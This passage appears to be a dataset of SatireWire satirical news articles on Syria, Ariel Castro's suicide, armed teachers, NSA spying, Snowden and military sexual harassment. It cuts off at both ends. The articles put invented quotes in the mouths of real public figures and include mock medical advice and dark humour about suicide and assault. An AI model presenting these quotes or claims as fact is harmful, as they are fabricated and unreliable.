Magnificent, isn’t it? A total win-win. The U.S. doesn’t attack Syria and al-Assad gives up his chemical weapons. You’re calling to congratulate us? HASSAM: Actually, no. I am calling about the other part of the agreement. The part where we keep dying. GREAVEY: Oh, yes, that. It is vitally important, Mr. Hassam. HASSAM: Is it? Because sometimes I wonder if maybe there was some way to have an agreement that did not include us continuing to die. GREAVEY: I’m sorry I don’t understand. HASSAM: Basically I am saying that we do not wish to keep dying. GREAVEY: No no, you have to, Mr. Hassam. You see, President Assad agreed to give up chemical weapons because it allowed him to keep attacking you for another year while we focused on those stockpiles. Would he have agreed to that otherwise? HASSAM: Well… GREAVEY: Come now, Mr. Hassam. You know the guy. Be honest. HASSAM: No, I guess not. GREAVEY: Exactly. So for this agreement to work, you have to keep dying. Otherwise the agreement falls apart, you see? HASSAM: Yes, when you explain it that way. GREAVEY: Good, because it is vitally important that civilians not interfere with the process by doing anything rash. HASSAM: Like living? GREAVEY: Yes. HASSAM: I admit I was considering it. GREAVEY: Well I’m sorry for saying so, but that’s pretty selfish. Two superpowers get together and agree not to start a war, and just for you we should throw that away? HASSAM: We are already having a war. The bombs are falling on us now. GREAVEY: I mean a real war. With Americans in it. HASSAM: Ooo snap! GREAVEY: Thanks. That was kind of witty. HASSAM: No, that was my leg. GREAVEY: Oh. Look, don’t get me wrong, Mr. Hassam. Civilians are important. In fact, if you think about it, Syrian civilians are just as important to this agreement as the U.S. and Russia and President Assad himself. HASSAM: I never thought of it that way. GREAVEY: Glad to help. HASSAM: But Mr. Deputy Undersecretary, may I ask, in the negotiations, were we represented, too? Civilians, I mean. Because if we were, maybe we could have a win-win-win agreement, instead of just a win-win agreement. GREAVEY: There’s no such thing as a win-win-win, Mr. Hassam. There’s only a win-win. That’s not me. That’s a diplomacy rule. HASSAM: Oh. OK. I just thought that if we were represented, maybe it would not have ended up where we all keep dying. GREAVEY: We thought about it, honestly. But we had to deal with the Russians, with the Assad regime, with the opposition leaders. They’re really wasn’t room for ordinary civilians. Besides, it’s a logistical nightmare. Think about it. If we choose, say, you to represent the victims, and we tell you to come to a meeting with all sides at 9 a.m., and you get bombed on the way, what happens? HASSAM: I die? GREAVEY: Well that, yes, but you also throw off the negotiations. Do we wait for you to show up? Do we choose new civilians? What if they get killed? Next thing you know, it’s almost noon, the croissants are stale, everybody’s in a bad mood. At that point, even if you do show up, all the parties are annoyed with you. That’s hardly a strong negotiating position. You might have come off worse. HASSAM: Worse than dying? GREAVEY: We’ll never know, fortunately. We avoided putting you in that awkward position. HASSAM: Um… thank you. GREAVEY: Not a problem. HASSAM: So we will just continue dying then. GREAVEY: That would be best. HASSAM: OK. Well, I suppose I will say, keep up the good work and we will just, you know, wait right here, under the rubble. GREAVEY: Good man. Thanks for the call. HASSAM: You are welc… GREAVEY: Mr. Hassam? Hello? HASSAM: … GREAVEY: He’s gone. Well, there you go. Proves my point. '], ['no-topic', 'ARIEL CASTRO HANGS SELF AFTER NOT GETTING ‘50 SHADES’ LEAD', 'CLEVELAND, OHIO (SatireWire.com) — Convicted kidnapper and sexual abuser Ariel Castro hanged himself in his prison cell late Tuesday only hours after learning he had failed to land the leading role in the film adaptation of bondage novel, ‘50 Shades of Grey’. Officials say Castro was not on suicide watch in prison which was probably just a coincidence. In an angry suicide note, Castro said he was the obvious choice to portray Christian Grey, the novel’s young, executive playboy who was addicted to BDSM. The film’s producers earlier in the day announced that actor Charlie Hunnam would get the part. “I was perfect for that role,” wrote Castro, who was serving a life sentence after holding three women captive in his home for a decade. “It combined everything I like: luring young women, various forms of bondage, and total disregard for human dignity. “And women already fantasize about me!” he continued. “Yes, most of those fantasies involve me being horribly disfigured and slowly dying in terrible ways, but they are nonetheless fantasies.” Castro also lashed out at the film’s casting directors for choosing Hunnam for the lead, insisting the Sons of Anarchy actor was not qualified. “Hunnam is a B-lister. I’m an A-lister,” Castro wrote. “In my case the ‘A’ stands for something else, but still.” “I should have known something was up when they didn’t rename the film, ’50 Shades of Orange,’” the convict concluded. Castro was being held at the Correction Reception Center in Orient, Ohio. Prison medical staff said they attempted lifesaving measures on the scene, although witnesses conceded “lifesaving measures” might have entailed kicking the corpse. '], ['no-topic', 'MYSTERY DISEASE AFFECTS ONE IN NEARLY EVERY HUMAN BEING', "CDC, ATLANTA (SatireWire) — It is known by many names: Common Fulgent Peplepsia, Magnate’s Curiosity Disease, Pendleton’s Old Forthwith, The Kitchen Dropsy, Partial Suggestive Consumption, Captain Abraham’s Pitchpole, Male Pattern Balls Cup, The Widow Confuser, The Belching Flirts, Mazelcoffin, Screamy Screamy Run Run, Pre-Seasonal Objective Disorder, Knackered’s Delight, and The Kissing Cyster, but one thing is universally known: Aparalytic Contradysfunctional Exoficial Disorder, or ACED, affects one in nearly every human being between the ages in the world. Yes, it is that widespread. If you have ACED, please don't take pictures. Ugh. Forty years ago, even ten years ago, but for a brief period six years ago, ACED was never diagnosed. Just as people with ADHD were once labeled hyperactive, or overly impulsive, or inattentive, or, medically speaking, “kind of annoying,” people with what we now call ACED were once written off as easily barked, or simple, or self-neutering, or just… slightly, among other things. Today research tells us that ACED is a complicated, confusing, often misdiagnosed disease, especially when diagnosed. And we know that the more researchers learn, the less we realize we know more, which in itself may be a sign that the researchers themselves have ACED. What we do know about ACED is that there are more questions than answers. Questions such as: What are the symptoms of ACED? How can it be treated? Will insurance pay for treatment? Should your child go to a school just for ACED kids? What if your doctor says you or someone you love or have fantasized about has ACED? What if your doctor has ACED and wants to sell it to you? What do you do if a teacher says your child has ACED, or if a teacher says he or she is gay? This guide can’t answer all those questions, but you, extrapolating from this guide, should be able to answer those questions. If you can’t, you may have ACED. This guide will, however, not help you learn how to cut through the red tape and get what you need from doctors, teachers, schools, healthcare providers, coaches, employers, mid-level management, your local postal worker, security personnel, unlicensed hypnotherapists, stevedores, lighting directors, crossing guards, riverboat captains, invasive species of broadleaf weeds, authors, editors, starlings, police, fire, and emergency services personnel, habadashers, scientists, the Dish Network, the American Automobile Association, the Federal Emergency Management Association, MI6, 1-800-Flowers, the Attorneys General of 42 states, club bouncers, frequent flyer programs, the Lake Oswego Dam Association, your timeshare, the sun, car rental agencies, trade negotiators, nitrogen-rich soils, Canadian pharmacies, shepherds, small claims adjusters, mobile phone representatives, carnies, maple syrup distributors, Carson Daly, friends of friends, people who cramp up when not properly stretched, morally flexible members of the International Olympic Committee, large animal veterinarians, and the clean-up professionals at 1-800-ServPro. People with ACED sometimes enjoy freaking out unhatched chicks by bathing them in eery light and whispering the word 'Fox.' So, what are the symptoms of ACED? Symptoms run the gamut from 0 to Z. Among them are: confusion; calm to violent moods; slumping between thoughts; using the hands to form symbols or signs of greeting; being needlessly anecdotal, secretly apocryphal, or involuntarily topical. People with ACED also often show signs of wariness, didactic toiletry, stringent obsessive abstrusity, or malfeasant sweating. They can be easily poked, quick to react to loud foreskins, and clumsy with bears. Though present at birth, ACED sometimes does not manifest itself for hours, or sometimes decades, or even years after death. Overnight, a seemingly happy, healthy person suddenly wakes to find their nipples imperceptibly smaller, foods taste longer, and that someone named Wilson has borrowed their pants. Is ACED contagious? Researchers say ACED is not contagious. This from the World Health Organization: “’ACED is absolutely non-communicable’ — is what we’ll tell the general public because we don’t want to start a worldwide panic by revealing that it is, in fact, absurdly contagious. Remember to redact all but the first bit of this statement.” I think I have been exposed to ACED. What should I do? Drink plenty of water. Cook meat and poultry thoroughly. Immediately wash your clothing in a mixture of salt water, vinegar, and regret. Check your skin for redness, itching, bumps, wrinkles, pores, follicles, and general stretchability. Note any changes. Remove any skin that is not your own. Run for 20 miles in an attempt to “out-run” the virus. After 20 miles, keep going. Never stop. I think I have ACED. What should I do? Call 911 but be vague, so as not to cause a panic. Find someone to spend the rest of your life with, even someone irritating at this point. Elevate your feet above your heart. Urinate on exposed areas. Meditate to reduce anxiety and keep you from focusing on certain death. Buy a small pickup truck — used is fine — and drive to the nearest emergency room. Ask for Tess. If no one named Tess is employed there, wait until someone is. Think about what you could have done with your life if only you had been someone else. Cook meat and poultry thoroughly. Is there any way to detect ACED early? Yes. Swallow a canary. As long as it keeps singing, you do not have ACED. (Note: Canaries may have ACED) Scientists believe ACED can be avoided by starving your hand of oxygen. Is it OK to go on vacation with ACED? Yes. If you want to ruin everyone else’s vacation. Does ACED impair driving? Don’t know. Will ACED make it difficult for my child to make friends? Don’t know. Do bullies pick on kids with ACED? Probably. We would. Will ACED medication interfere with my other medications? How much fun will I have finding out? There are currently no medications clinically approved to treat ACED. We suggest trying various combinations of existing medicines. That’s what we did while writing this guide. What if my initials are ACED? Does that mean I have it? Stands to reason. I still don’t understand exactly what ACED is. Is that a sign that I have it? If we had to guess? Yeah. This guide doesn’t really make sense. Is it possible that the author has ACED? Cook meat and poultry thoroughly. "], ['no-topic', 'RADICAL ANAGRAMISTS HOLD SHE-GOATS FOR RANSOM', 'SHAGWINTON, D.C. (SatireWire.com) — A group of radical anagramists today claimed it has taken four she-goats and demanded $1 million in omen masonry payable in small, kind umbrellas. Artist’s rendering of one of the she-goats held by the anagramists. While the identity of the she-goats is not known, FBI officials believe the perpetrators are members of Anagramists for Truth, also known as Farting Shorts Trauma, whose stated goal is to overthrow the Dentist Saute government. In a chilling note addressed to CNN anchor Blitz Flower, the anagramists threatened to thru the she-goats unless they received $1 million in omen mansonry, payable in small, kind umbrellas and delivered by a lone, manured civilian. If the omen masonry is not paid by dim-thing hog-tint, the group said it will cut off one of the she-goat’s fringes every hour. After 10 hours, the she-goat will be taken out and shot through the earth. Authorities say they have not been in contact with the she-goats themselves and cannot confirm that any danger even exists. “Anagramists can’t be trusted,” said FBI spokeswoman Jill Verlain. “They say they’ve taken she-goats, but we can’t rule out the possibility that they’ve taken hot gases, or possibly a sea ghost.” Anyone missing hot gases or a sea ghost is encouraged to contact authorities. The FBI said it is in negotiations with the group but has so far found it difficult. “Initially they left a 10-digit phone number for us to call, but of course the digits were mixed up so we got a lot of, ‘Sorry, wrong number,’” said Verlain. “We are talking to them now, but there is no way we’ll give in to their demands. If we understood them. Which we don’t.” Verlain conceded anagramists are an increasing problem for law enforcement, although she said it’s too early to estimate the threat they pose. “It’s possible these people are terrorists,” she said, “but until we see actual laws broken, we’re going to treat them as tits errors.” For other radical ransom news, click HERE. '], ['no-topic', 'ARK. TOWN SETS UP MEMORIAL FUND FOR PENDING SCHOOL SHOOTING', 'CLARKSVILLE, ARK. (SatireWire.com) – After deciding to arm teachers and staff to head off the theoretical threat of a school gunman, the city of Clarksville, Ark., has taken the next logical proactive step by setting up a memorial fund for those killed when one of the teachers or staff either loses control or accidentally shoots someone. What could possibly go wrong? “What we learned from the Connecticut school shooting is you can’t just sit back and wait for bad things to happen,” said Carrie Julin, director of the new Clarksville Victims Fund. “So we took the first step by giving our staff 9mm handguns to deal with the threat, and now we’re taking the second step by establishing a fund for donations to the families of those killed when the first step goes horribly, inexplicably wrong.” The city is awaiting IRS approval for the fund’s 501c(3) tax-exempt status, a process that should take six months, “unless we put ‘Tea Party’ in the name,” said Julin. “I just hope nobody on staff loses it before then.” While only 20 employees in the five-school district will initially be armed, those who have trained to protect students and take an unwitting role in the forthcoming tragedy said they were honored by the responsibility. “I entered teaching because I wanted to give something back to the community, mold young minds, and carry a loaded firearm in a public building,” said high school English teacher Wil Brantley. “A mind is a terrible thing to waste, but it’s good to know I can ‘waste’ one if I need to.” Added Clarksville elementary teacher Jenna Purcell: “In eighth grade I had a terrific history teacher named Mr. Greene who really brought the subject to life. I remember thinking, ‘Someday I want to do what he’s doing. But with a gun.’” Not surprisingly, some have questioned the decision not to use trained police officers for security, but School District Superintendent David Hopkins said teachers are “obviously” better suited. “People forget that teachers are superhuman,” Hopkins said. “They never get upset or make mistakes or have personal problems. They never have malicious thoughts about students or colleagues, and if they did, certainly would never act on those thoughts. They also all love their school administrators, who we’ve also armed because they in turn love all the teachers and never wish them harm. “This plan is foolproof,” he continued. “To prove it, you just have to answer this question: In a moment of chaos and panic, who do you want making life-and-death decisions, a veteran police officer or an assistant kindergarten teacher?” Donations to the Clarksville Victims Fund can be sent to 2343 Peach Creek Rd., Suite 4, Clarksville, Ark. 40911 '], ['no-topic', 'WEINER DEBACLE SPARKS NATIONAL PENIS-CONTROL DEBATE', 'PENIS RIGHTS GROUPS FEAR NATIONAL PENIS REGISTRY WASHINGTON, D.C. (SatireWire.com) — The Anthony Weiner sexting scandal has ignited a heated debate over penis control as advocates demand regulations to reduce penis-related offences, while pro-penis groups fight to protect their groin-given rights. Anthony Weiner abusing his right to bare his penis. “Penises help create life, but as we’ve seen they can ruin lives too,” said Lisa Waldman, director of the Ladies Campaign to Stop Penis Misuse. “That’s why we need stricter penis laws to protect penis owners and non-penis owners alike.” Penis advocacy groups, meanwhile, argue that their members’ members should not be infringed. “We may not have the right to bare our penises, but we have the right to bear our penises,” said Dewayne LaProd, chief lobbyist and spokespenis for the National Man-Rifle Association. “The truth is, all penis regulations are a slippery slope towards confiscation, and that would violate the Fourth Amendment’s search and seizure clause.” The NMRA objects to any regulation and goes so far as to urge all members not to divulge certain personal information. “I refuse to put my gender on any government forms because that is really a type of national penis registry,” said LaProd. “By identifying my gender, they’ll know I own a penis, and eventually they’ll come for it. But I have news for them: They can take my penis when they pry it from my cold, clenched hand.” As of now, penises are legal in all 50 states. Although there are restrictions on how and when they are used, these laws do not go far enough for some penis-control groups. “A penis, whether malevolently brandished by criminals or childishly flaunted by a congressman, is a dangerous weapon,” said Pamela Granger, Director of the Council on Genital Responsibility. “They have hurt both men and women; they have killed relationships, marriages and political careers. At a minimum we need background checks to make sure the mentally unstable do not have access to them.” For Bill Nadler, President of the U.S. Sport Penis Association, such talk reeks of gender discrimination. “Women are just as much penis owners as men, if not moreso, and believe me, a woman mishandling a penis is no less dangerous,” Nadler said. “We agree that there are some who should not be allowed to have a penis, but there are just as many women who should not be allowed near one.” NMRA Women’s Group director Carla Poinswatter, meanwhile, believes the entire argument is misplaced. “Penises don’t hurt people. People hurt people,” she said. “So we will fight regulation and we will fight bans, because they simply won’t work. If some city bans penises, men – and women – will just go to a neighboring city to get some. I know I would.” But Waldman insisted the Ladies Campaign is not suggesting prohibition. “We have no problem with most penises, such as those used for hunting, as long as no one gets hurt,” Waldman said. “But if you are going to have one, you need to know when to use it, how to use it, and keep it away from those who don’t want to see it.” Former NFL star Brett Favre famously texted his “.38 special” two years before he retired at 40. The NMRA does offer penis safety classes, teaching owners how to clean, store, and handle a penis, and how to discharge it safely. Waldman said owners should also be taught how to display them appropriately, and wants stricter enforcement of indecent exposure — or “concealed penis” — laws. It’s a lesson politicians and professional athletes alike never learn. “Anthony Weiner has hurt a lot of people with his penis, including his wife,” Waldman said. “The fact is, if he didn’t have one, his political career would be alive today.” Nadler called that argument spurious. “Anthony Weiner is his penis,” he said. “You cannot separate the two.” Nor should you, advised Dr. James Netheroot of New York’s Cedar Sinai Hospital. “Separating a man from his penis is medically inadvisable,” he said. “Certainly there are numerous ways to emasculate a penis owner without resorting to confiscation. Marriage, for instance. If nothing else, eventually his trigger mechanism will begin to fail with age anyway.” Unless, like many older penis owners, he decides to upgrade his weapon, which is another flashpoint in the penis-control debate: so-called “assault penises.” “No one needs a super weapon that can keep firing and firing, or that’s so large you need two hands to control it,” said Granger. “Speak for yourself,” said the NMRA’s Carla Poinswatter. For now the debate rages on, with neither side willing to give an inch. Or six. '], ['no-topic', 'NASA TURNS OFF SPACE TELESCOPES, GOES OUTSIDE', 'WASHINGTON, D.C. (SatireWire.com) – Saying everyone had spent more than enough time sitting in front of computer screens and TV monitors, NASA today abruptly turned off all its space telescopes and satellites and told scientists to go outside, for God’s sake. With more than 85 missions suddenly gone black, the 18,000 astronomers, mathematicians, technicians and others did as they were told, but not without a lot of grumbling and whining. “Just 10 more minutes?” asked a team of astrophysicists at the Goddard Space Flight Center in Maryland. “We’re just getting to the good part of this spectrum test.” “No!” their NASA administrator responded. “And take your friends from the European Space Agency with you.” At the Jet Propulsion laboratory in Pasadena, Cal., astronomers were interrupted right in the middle of observing their favorite star cluster, NGC 602. “But stars are cool!” griped lead researcher Nicole Weiss as she bumped past her director and sulked out the door, followed by a group of sullen Cal Tech physicists. After initially complaining, some scientists actually enjoyed themselves. “Look, there’s a star, right there, in the sky,” said her boss, pointing to the Sun. “Isn’t that cool?” “Ouch! It hurts my eyes,” whined Cal Tech Prof. Stephen Kielli. “Let’s go back inside and look at it on a monitor!” suggested Weiss. The U.S. space agency faced a similar reaction from scientists pouring over data from the Cassini spacecraft, which is studying Jupiter’s moon, Titan. “Go outside? But it’s raining,” argued planetary scientist Gilles Fouchier. “No it’s not. It’s a beautiful day,” replied his supervisor. “Not here. On Titan. It’s raining benzene!” said Fouchier. “I don’t care if it’s raining Benadryl, get outside!” barked his boss. “Well that’s just dumb,” Fouchier muttered under his breath as he stalked down the hall. “It can’t rain Benadryl on Titan. There’s no diphenhydramine on Titan. Stupidhead.” “What was that?” said the supervisor. “Nothing,” Fouchier mumbled. But outside the Johns Hopkins University Applied Physics Laboratory, where a NASA-led team has been working on radiation belts, deputy project scientists Han Ni Po and Elsa Grindell were surprised as they emerged blinking into the sunlight. “Wow, it’s summer,” said Han. “It’s… 2013,” noted Grindell. NASA said it would use the time “to clean up around here,” starting with the bathrooms, where, “these geniuses, who can remember pi to 100 decimal places, somehow never remember to put the seat down.” '], ['no-topic', 'DEATH MOVING OUT OF DEATH VALLEY; “TOO HOT HERE”', 'DEATH VALLEY, CA (SatireWire.com) — Enduring record-setting heat yet again over the weekend, Death today announced he will be moving out of his namesake Death Valley, where he said it was “much too hot” to even think straight, not to mention coordinate the demise of 150,000 humans every day. "Seriously, black robes. In this heat. What was I thinking?" Death asked rhetorically. “Look, I still like the place as a concept — the scorched Earth, the shriveled life and all that,” said the Lord of the Dead as he stood in the roasting desert air. “And I love the name. Obviously. But this place just… drains you. So, yeah, enough. I’m off. I mean, I get to bring misery, not experience it.” The temperature in Death Valley – which will now just be called the Valley – shot up to nearly 130 degrees on Sunday. Meteorologists, and Death, see no end in sight. “It’s not the nights. They’re alright,” he said. “But the daytime… I mean, I wear black robes, if you haven’t noticed. Black! In this heat. And a hood! I know, crazy, right? “And don’t give me that shit about layering,” he added. “I mean yeah, it would technically keep my skin cooler, if I had skin. Which I don’t. So I can’t even sweat to cool down. Right now I’m basically a hot, miserable bag of bones. “Seriously, this is bad. I think I’m even losing weight. That’s not even possible, right? That doesn’t make any sense. But I swear my robes are looser. Or maybe they just feel heavier. “Did I mention this morning I saw a mirage… of me!? That’s fucked up right there. Jesus, I feel like I’m on fire. Do I look on fire to you? I feel like it. I should have put in a pool.” After gathering his things, the Grim Reaper gave his former Valley one last look before shrugging and plodding away. “I’ll miss the place, but I’ve got to find something better,” he said. “It doesn’t have to be Norway or anything. It could be L.A. Actually, I rather like L.A. The weather is nice. OK, there’s a lot more plant and animal life, I grant you, but if you look in people’s eyes, they’re essentially dead. I’ll feel at home there.” '], ['no-topic', 'FLORIDA’S NEWEST AMUSEMENT PARK: “SINKHOLELAND”', 'DADE CITY, FL (SatireWire.com) – Cinderella’s Missing Castle, Unnerving Journey to the Center of the Earth, Pirates of the Caribbeneath, Spelunk-a-Dunk – the rides at Florida’s SinkholeLand Amusement Park are finally open for business. Wide open, in fact. On its first day today, more than 10,000 visitors literally poured in to the state’s newest tourist attraction, which takes advantage of central Florida’s soluble limestone substrata to provide the “thrilling, spilling, last-in-a-lifetime experience” of falling into a giant hole. While the park is teeming with costumed subterranean characters like Mole Man and C.H.U.D. monsters, and the on-site restaurant menus are loaded with treats like Plummet Pudding, Abysscotti and Fissure & Chips, the “rides” are no doubt the highlight. Even the park trolleys at SinkholeLand may get into the act. “While each of our sinkholes has a different theme, they all combine the best elements of classic thrill rides,” crowed park CEO Julian Baldini. “People will experience the nervous expectation of a roller coaster, followed by the gravity-defying exhilaration of a parachute drop, followed by the frightening darkness and uncontrollable screaming of a haunted house.” And then? “Possibly they’re calling for help,” Baldini guessed. “We don’t really know.” Detractors have labeled SinkholeLand just another Florida tourist trap, a charge that park officials heartily accept. “Tourist Trap is actually the name of one of our sinkholes,” said Amusement Geologist Fran Kodeski. “And unlike so many amusement park attractions, it lives up to its name. I mean, at Space Mountain you’re not really in space. On Disney’s Jungle Cruise you’re not really in the jungle. But in Tourist Trap you are literally trapped.” Nick Forster of Kansas City, Mo., took his wife and two daughters to SinkholeLand, where they immediately headed for the “Alice in Underland” ride. “My wife Kelli and I are big into thrills, but the kids are young so we thought we’d start with something less frightening,” said Forster. “But boy was I wrong!” As luck would have it, Forster and his two children were standing just outside the cave-in zone, but not so wife Kelli. “We went to the Drop of Doom at Six Flags once, and my wife’s face when we went down was hilarious, just a mask of panic,” said Forster. “But at SinkholeLand, you should have seen her face when the ground gave way and she fell into the darkness. Oh my God it was priceless!” “The girls were kind of disappointed nothing happened to them, so right now we’re heading over to ‘Crater Tots,’ where we hear the groundwater is particularly hollowing,” he added. As opening day wound to a close, park CEO Baldini couldn’t hide his satisfaction. “We’ve had a few kinks,” he said. “The ground didn’t open up in some places we thought it would, and the Dine ‘n Dive Grill turned into an impromptu ride, but right now we have more than 2,000 visitors missing and presumed entertained.” “Our goal is to have nobody leave unhappy,” he added. “Or just have nobody leave. Like our slogan says, ‘Come for the sinkholes, stay because you’re in a sinkhole.’” '], ['no-topic', 'AMERICANS DIVIDED OVER HOW THEY WANT SNOWDEN MOVIE TO END', 'MOSCOW (SatireWire.com) – The U.S. continues to be deeply divided over the fate of Edward Snowden as a new poll shows 38 percent of Americans believe the NSA leaker is a traitor who should die in spectacular fashion and not get the girl, while 46 percent think he is a hero who should escape into the Ecuadorian jungle with Eva Mendes or Zoe Saldana. Whatever happens, 72 percent of respondents said Snowden should lose the glasses and adopt a Scottish accent. Only 11 percent of respondents think Snowden should have his brain removed by Chinese cybercrime lords who force the disembodied computer expert to do their evil digital bidding until a young punk hacker and grizzled FBI agent team up to delete him. That’s down from 19 percent only two weeks ago. “Americans still can’t agree on an ending for Snowden,” said Gallup spokesman Clyde DeBuque. “Rogue Navy SEALS, a suspicious train wreck or blazing exit trying to escape on a Russian rocket were the most popular answers among those who felt Snowden’s life should end as a tragedy, while those who call him a patriot want him to be chased across continents and come close to death, but eventually wind up in an idyllic Ecuadorian village with a fiery Latin beauty whose own father was imprisoned for speaking out against injustice.” The survey, released today, was met with harsh criticism from Snowden supporters, including WikiLeaks founder Julian Assange. “This is someone’s life we’re talking about,” said Assange, whose group is paying for Snowden’s escape. “Edward Snowden is a brave man, an actual flesh-and-blood person, and you’re talking about him as if he were James Bond.” But poll respondent Olivia Vann of Cincinnati disagreed. “No no, he’s not James Bond,” said Vann. “James Bond never dies, whereas I think Snowden should die when the Cubans – who use him to crack into a secret Pentagon database – poison his ALT key.” Brooklyn resident Carmela Glenn, however, agreed with Assange that Snowden is a courageous figure. “I think Snowden is a hero and I hope they don’t catch him,” said Glenn. “That’s why he should only appear to die, preferably over the Atlantic when his plane explodes, but in actuality he wasn’t on the plane but sneaked out of the Moscow airport by Russian agent Emily Blunt, who is lovely and has a thing for science types.” “For the last time, this is not a movie!” replied an angry Assange. “This is real. He could go to jail for the rest of his life!” “Oh my God, if after all this he only ends up in jail… bleh,” said Glenn. “Unless… OK, he gets a job in the warden’s office and secretly transfers prison funds to an offshore account and escapes to live on a sailboat with Morgan Freeman.” '], ['no-topic', 'U.S.: IF EVERYONE IS BEING SPIED ON, THEN NO ONE IS BEING SPIED ON', 'WASHINGTON, D.C. (SatireWire.com) – Wielding the tautological argument, “If everyone is special, then no one is special,” the White House today said the government is not technically spying on anyone because it is spying on everyone. Can something be "un-American" if an American does it? wonders NSA Director Gen. Keith Alexander “Being spied on and being special are really very similar,” explained NSA Director Gen. Keith Alexander at a Senate Intelligence Committee hearing. “If everyone is ‘special’ then no one is special because to be special you have to be different or apart from the norm. Same thing with spying. If everyone is being spied on, then no one is being spied on because to be spied on you have to — by definition — have periods of time when you’re not being spied on in order for the spying to seem abnormal and not just part of everyday life. “As it turns out, there are no periods of time when you’re not being spied on,” said Alexander. “Therefore, you’re not being spied on.” “That is absurd,” responded Sen. Mark Udall, (D-CO). “Not if I say it over and over and over,” Alexander replied. “Then it eventually becomes normal. You see?” Although the White House had previously denied universally tracking Americans, Alexander insisted his statement did not indicate a policy change. “It’s not an about-face because that would imply we were facing one particular way to begin with,” he said. “In fact, it is the policy of this administration to face all ways simultaneously and as a result we cannot do an about-face.” Sen. Rand Paul, (R-KY), however, accused the administration of violating the Fourth Amendment’s protection against unreasonable searches and seizures. The NSA director refuted the charge. “Unreasonable means, ‘Beyond the limits of acceptability or fairness,’ but we’re doing this to everyone, which is very fair,” said Alexander. “And by doing this all the time, there is no ‘limit’ beyond which we could go, even if we wanted to. “Legally, therefore, we’re not being unreasonable,” he said. “But you’re targeting Americans,” responded Udall. “Actually, we’re randomly firing into a crowd that happens to contain some Americans,” Alexander said. “Big difference.” “It’s still dishonest,” said Udall. “Ah, but what is ‘truth?’ Alexander countered. “Oh shut up,” Udall said. '], ['no-topic', 'DESIGNER #HASHTAGS THE LATEST TREND IN TRENDING', 'NEW YORK, N.Y. (SatireWire.com) – The common #hashtag, once the telltale sign of what’s hot online, is on the way out. In its place, the designer hashtag – bold, colorful, often playful symbols that tell Twitter, Tumblr and the rest that not only are you on top of what’s trending, you’re trending right along with it. Kate Moss’ new slimming hashtag, which de-emphasizes the “pound” in “pound sign.” From Gucci and Prada to Dior and D&G, fashion labels have stormed in to revive, revamp, and often revolutionize the off-the-rack, one-size-fits-all # sign. These designer hashtags come at a price – from $25 to $2,500 per use – but advocates say the cost is worth it. “Hashtags told you what was trending, but designer hashtags make what’s trending look trendier,” said Vogue editor Kat Malques. “They’re like uber trendy, like almost so trendy that it hasn’t even trended yet. They’re basically pre-trend.” Ralph Lauren’s hashtag for men. “These new hashtags say, ‘Not only do I know what’s new and cool, but I look cool telling you about it,’ explained Cam McCauley at Dolce & Gabbana, which uses vivid florals and brash polka-dots in its hashtags. “When I use one, I feel like I’m trending.” The styles certainly run the gamut of the grammatical symbol runway. Kenzo, for example, has opted for an anytime, anywhere hashtag ($99 per use) that simultaneously speaks to your need for something “Totally New,” yet is also not so conceptual and tricked out that it looks like it’s trying too hard. Asian-American designer Jason Wu, meanwhile, has woven Oriental culture into couture by producing a calligraphic masterpiece of a hashtag, ($129 per use), complete with kimono-like cap sleeves. Jason Wu’s Asian-themed hashtag. Design-world bad boy Marc Jacobs, not surprisingly, has gone retro, releasing a simple black hashtag — show here: # — that reviewers have called “elegant, traditional, and strikingly similar to the hashtags of yore.” Offered in standard Arial, Helvetica, or Verdana, what makes these hashtags different is the price: $499.99 per usage. Taking the counter approach, couturier Derek Lam has a new summer line of hashtags that are, “simple, light, and revolution-airy.” Instead of four lines in a crosshatch pattern, Lam uses just one horizontal line, “–” which hints at the existence of the other three lines. Reviewers were not impressed. “It looks like a hyphen,” said InStyle. So far, whether a hashtag is revered or reviled doesn’t matter. Twitter, Tumblr and sites that use #hashtags don’t recognize any of the new offerings as hashtags. For designers, however, lack of acceptance is itself a badge of honor — “Proof of how trendy we are,” said Lam. And if designer hashtags are a trend, the trend within that trend is minimalist. While Lam’s design is simple, Adobe and Gucci have teamed up to go a step further. They’ve released a line of “Flashtags,” which disappear in six seconds and cost $25 per use. Walmart’s customer-inspired “relaxed waist” hashtag for "posting online from the comfort of your trailer home.” “Something that’s truly ‘now’ should not last for more than six seconds, which is why our flashtags disappear so quickly,” said Adobe’s new VP of Design Ing Miyuchi. “It happens so fast you really don’t have time to think about the topic, much less learn about it. It’s a perfect reflection of modern life.” But that approach may already be yesterday. Next month, Christian Dior is expected to offer a white-on-white hashtag, an essentially invisible symbol that only the user will know about. “It’s a confidence thing,” explained Dior spokeswoman Feschia Puce. “It’s like, I know this is trending, and I’m so in the know that I don’t need you to know I know because I already know. So you can’t see the hashtag, but I know it’s there, and because it’s me, I assume that you know it’s there. We call it the Emporer’s New Hashtag. $2,500 per use.” Celebrities, naturally, have jumped on the #bandwagon. In the fall, Justin Bieber will release a line of hiddenstashtags, Lindsay Lohan will launch rehashtags, Miley Cyrus goes to her roots for whitetrashtags, and of course you-know-who will introduce a line of Kardashtags, which, like their namesake, will automatically tag anyone famous. '], ['no-topic', 'ARMY TO HOLD BEER SUMMITS WITH ASSAULT VICTIMS, ATTACKERS', 'WASHINGTON, D.C. (SatireWire.com) – Conceding their “Miss Pentagon” contest idea was not the best way to defuse sexism in the ranks, U.S. Army officials today said they will instead organize a series of “beer summits” between female victims of sexual harassment and their male antagonists. During the Beer Summit on race, no women were harassed, Army officials pointed out. Detractors immediately blasted the idea, calling it another example of the male-dominated military failing to cope with rampant sexual harassment and abuse of female soldiers. But Army Lt. Gen. Mike Kirby disagreed, saying it was specifically geared toward women. “President Obama’s Beer Summit worked great on racial tension, and that was bringing together two guys who didn’t like each other,” said Kirby. “Now put a female in the mix and it should work even better. I mean, women like to talk things out, right? “If it helps, we’ll order the men to listen,” Kirby added. During a Senate Armed Services Committee hearing this morning, Sen. Kirsten Gillibrand, (D-NY), called the plan sexist and insensitive. “A Beer Summit? Really?” fumed Gillibrand. “Has it occurred to you, General, that forcing women to socialize with their assailants would be, to put it mildly, uncomfortable?” “Yes ma’am. That’s why we include the alcohol, to loosen things up,” Kirby responded. “Maybe the victim will feel less angry. Maybe the assailant will feel less… assaulty.” “Less assaulty?” Gillibrand said. “OK, fewer assaulty,” Kirby asked. “We don’t want any assaults!” Gillibrand fired back. “Exactly. Hence the beer. They sit down, have a few cold ones, get to know each other, and after that, hey, who knows? “What do you mean,” Gillibrand asked stonily, “by, ‘Who knows?’” “Well, c’mon Senator, you know how women are after a few beers.” Gillibrand abruptly stormed out of the hearing. After an awkward silence, Kirby addressed the remaining male members of the committee. “Is it me, or is she 